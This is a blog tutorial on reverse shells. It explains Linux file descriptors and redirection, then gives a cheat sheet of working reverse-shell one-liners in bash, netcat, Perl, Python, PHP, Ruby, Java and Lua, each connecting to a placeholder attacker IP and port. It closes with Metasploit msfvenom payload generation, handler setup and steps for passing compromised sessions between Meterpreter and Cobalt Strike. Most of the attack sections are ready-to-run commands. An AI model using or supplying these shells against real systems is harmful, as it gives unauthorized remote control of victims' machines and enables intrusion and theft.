About Reverse Shell
TyeYeah Lv4

Reverse Shell is normal used for its advantages in avoiding being detected.
Attacker’s machine (which has a public IP and is reachable over the internet) acts as a server. It opens a communication channel on a port and waits for incoming connections.
Victim’s machine acts as a client and initiates a connection to the attacker’s listening server.

Linux Reverse Shell

On Linux we use /bin/bash, /bin/sh and some other shell terminals, and to get a reverse shell is often so easy that people often builds streamlined commands.
But before we use them, it’s better to go deeper and learn things about file descriptor and redirection.

File Descriptor

When Linux boots up, it will open three file descriptors by default:

  • standard input :0 (keyboard as default)
  • standard output :1 (pc monitor as default)
  • error output :2 (pc monitor as default)

As everything is file on Linux, even devices. so devices i/o are controlled by file descriptors.
At first, binding relations are in below

  • stdin 0 -> /dev/tty0
  • stdout 1 -> /dev/tty0
  • stderr 2 -> /dev/tty0

If we want to disable display of input on monitor, or input to other devices or files, we need redirection.

Redirection

Input redirection: < << (redirect 0)
Output redirection: > >> (redirect 1)
< and > are just redirection, << and >> are appending content.

Before executing a command, bash process redirection symbols first.
Bash redirect file descriptor first, then delete redirection symbols.

Input redirection example: [n]< word
If n is omitted (< word), that is 0 (standard input) by default (same as 0< word).
Which means the content of word is replacing stdin to be the input.
Yon can see effects only if a program receive stdin to interactive.

  • stdin 0 -> word(file, device, ...)
  • stdout 1 -> /dev/tty0
  • stderr 2 -> /dev/tty0

Output redirection example: [n]> word
If n is omitted (> word), that is 1 (standard input) by default (same as 1> word).
Which means the output will be transferred to the word, whatever it is a file or a device, rather than display on stdout.

  • stdin 0 -> /dev/tty0
  • stdout 1 -> word(file, device, ...)
  • stderr 2 -> /dev/tty0

echo "str" > file.txt is to wipe file.txt, then add content.
echo "str" >> file.txt is to append string to older content.

stdin and stderr redirection: &> word or >& word
Both of them redirect stdin and stderr to word.
Now the situation is

  • stdin 0 -> /dev/tty0
  • stdout 1 -> word(file, device, ...)
  • stderr 2 -> word(file, device, ...)

Actually they are the same with > word 2>&1, then we talk about how 2>&1 works here.

Copy of file descriptor: [n]<&[m] / [n]>&[m]
Both of them copy n file descriptor to m, the difference is, [n]<&[m] open as read only, [n]>&[m] open in write mode.
0<&1 and 0>&1 works the same, because it has nothing to do with read or write mode.

So the & here is to distinguish files (named as number) and file descriptors.

Read and write mode:
You may notice that the file descriptor at the arrow side of the < and > opened as writable, so we use [n]<>word to bind n with word.
Now what we do to n also works on word.

Binding redirection: exec [n] </> file/[n]
Above mentioned only work for that command, use exec to make it effect all the time.

Cases

On attacker pc we do

1
2
3
$ nc -lvp port
listening on [any] port ...

Then on victim pc we do

1
$ bash -i >& /dev/tcp/attack_ip/port 0>&1 

After that attacker receive the shell

1
2
3
4
5
$ nc -lvp port
listening on [any] 23333 ...
connect to [attacker_ip] from (UNKNOWN) [victim_ip] xxxpid
victim@host:~$

Notes:
bash -i here spawns an interactive shell.
/dev/tcp/ip/port is a device, you can interact with it to build socket.
>& is to redirect all output to attacker pc.
0>&1is to receive commands from attacker and then echo the result.
so it can be also written as

1
$ bash -i > /dev/tcp/attack_ip/port 0>&1 2>&1

Another Method:

1
$ bash -i >& /dev/tcp/attack_ip/port <&2

which is

1
$ bash -i >& /dev/tcp/attack_ip/port 0<&2

The situation is

  • stdin 0 -> /dev/tcp/attack_ip/port
  • stdout 1 -> /dev/tcp/attack_ip/port
  • stderr 2 -> /dev/tcp/attack_ip/port

One More:

1
$ exec 5<>/dev/tcp/attack_ip/port;cat <&5|while read line;do $line >&5 2>&1;done

exec 5<>/dev/tcp/attack_ip/port let us operate file descriptor 5 as if interacting with the socket

command|while read line do .....done comes from

1
2
3
4
while read line
do
......
done < file

which is read contents from the file. Now we read from file descriptor 5, tht is the socket.

And the one below is similar

1
$ 0<&196;exec 196<>/dev/tcp/attacker_ip/port; sh <&196 >&196 2>&196

Netcat

Netcat aka nc, is called the Swiss Army Knife in network utilities. It can be used like telnet to communicate, or a ftp server to transfer files.
It can also help you get a reverse shell.

1
$ nc -e /bin/sh attacker_ip port

-e /bin/sh means execute a shell and send it to remote.
Some version doesn’t have this option, so we do

1
$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attacker_ip port >/tmp/f

mkfifo is making a pipe to communicate.

A similar method

1
$ mknod backpipe p; nc attacker_ip port 0<backpipe | /bin/bash 1>backpipe 2>backpipe

Another usage

1
$ nc attacker_ip port1|/bin/sh|nc attacker_ip port2

It requires attacker to listen two ports, type commands to port1, then see result from port2.

Perl

Execute

1
$ perl -e 'use Socket;$i="ip";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

or

1
$ perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"ip:port");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

The effective perl codes are

1
2
3
4
5
6
7
8
9
10
use Socket;
$i="ip";
$p=port; # port is integer type
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){
open(STDIN,">&S");
open(STDOUT,">&S");
open(STDERR,">&S");
exec("/bin/sh -i");
};

and

1
2
3
4
5
6
$p=fork;
exit,if($p);
$c=new IO::Socket::INET(PeerAddr,"ip:port");
STDIN->fdopen($c,r);
$~->fdopen($c,w);
system$_ while<>;

Python

Execute in shell

1
$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

The python codes are

1
2
3
4
5
6
7
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("ip",port))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

PHP

Execute in shell

1
$ php -r '$sock=fsockopen("ip",port);exec("/bin/sh -i <&3 >&3 2>&3");'

The PHP source are

1
2
$sock=fsockopen("ip",port);
exec("/bin/sh -i <&3 >&3 2>&3");

Ruby

Execute in shell

1
$ ruby -rsocket -e'f=TCPSocket.open("ip",port).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

The ruby source are

1
2
f=TCPSocket.open("ip",port).to_i
exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)

Remember to load lib in opinion.

Java

Java use Runtime class to execute.

1
2
3
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ip/port;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

Lua

Execute in shell

1
$ lua -e "require('socket');require('os');t=socket.tcp();t:connect('ip','port');os.execute('/bin/sh -i <&3 >&3 2>&3');"

And the lua codes are

1
2
3
4
5
require('socket')
require('os')
t=socket.tcp()
t:connect('ip','port')
os.execute('/bin/sh -i <&3 >&3 2>&3')

Meterpreter & Beacon

MSF

For metasploit framework, it has many kinds of reverse shell in meterpreter

1
2
3
4
5
6
7
8
...
23 payload/every_platform/meterpreter/reverse_http
24 payload/every_platform/meterpreter/reverse_https
25 payload/every_platform/meterpreter/reverse_tcp
26 payload/every_platform/meterpreter_reverse_http
27 payload/every_platform/meterpreter_reverse_https
28 payload/every_platform/meterpreter_reverse_tcp
...

Actually there are about 200 kinds of meterpreter aiming at every platforms.

CS

For Cobalt Strike, it has named its reverse shell module as beacon

Beacon reverse shell listeners are

  • windows/beacon_dns/reverse_dns_txt
  • windows/beacon_dns/reverse_http
  • windows/beacon_http/reverse_http
  • windows/beacon_https/reverse_https
  • windows/beacon_smb/bind_pipe

Foreign listeners for external reverse shells(from MSF or Armitage)

  • windows/foreign/reverse_dns_txt
  • windows/foreign/reverse_http
  • windows/foreign/reverse_https
  • windows/foreign/reverse_tcp

Interoperability

Here we talk about the interoperability between meterpreter and beacon.

From MSF to CS

  1. Generate a meterpreter payload

    1
    $ msfvenom -p windows/meterpreter/reverse_tcp lhost=msf_ip lport=msf_port -f exe -o hello.exe
  2. Set listener in Metasploit Framework

    1
    2
    3
    4
    5
    6
    7
    8
    msf5 > use exploit/multi/handler 
    msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
    payload => windows/meterpreter/reverse_tcp
    msf5 exploit(multi/handler) > set lhost msf_ip
    lhost => msf_ip
    msf5 exploit(multi/handler) > set lport msf_port
    lport => msf_port
    msf5 exploit(multi/handler) > run
  3. Open Cobalt Strike to create a new listener (using windows/beacon_http/reverse_http)

  4. Use payload_inject module

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    meterpreter > background 
    msf5 exploit(multi/handler) > use exploit/windows/local/payload_inject
    # payload must be corresponding to that in cs
    msf5 exploit(windows/local/payload_inject) > set payload windows/meterpreter/reverse_http
    msf5 exploit(windows/local/payload_inject) > set lhost cs_ip
    msf5 exploit(windows/local/payload_inject) > set lport cs_port
    # set meterpreter session
    msf5 exploit(windows/local/payload_inject) > set session 1
    msf5 exploit(windows/local/payload_inject) > set disablepayloadhandler true
    msf5 exploit(windows/local/payload_inject) > run
  5. Then we see one new pc gets online in Cobalt Strike.

After that we convert a meterpreter to be a beacon.

From CS to MSF

  1. Create a foreign listener in Cobalt Strike (using windows/foreign/reverse_http).

  2. Generate a payload (Windows Executable) in Cobalt Strike.

  3. Open Metasploit Framework to set listener

    1
    2
    3
    4
    5
    msf5 > use exploit/multi/handler 
    msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
    msf5 exploit(multi/handler) > set lhost msf_ip
    msf5 exploit(multi/handler) > set lport msf_port
    msf5 exploit(multi/handler) > run
  4. When target triggers the trojan, we will get a meterpreter in Metasploit Framework.

If we have already got a beacon, we can spawn a foreign reverse shell, and deliver a meterpreter.

Online Resources

ReverseSSH
Reverse SSH
hoaxshell

Powered by Hexo & Theme Keep
Total words 135.7k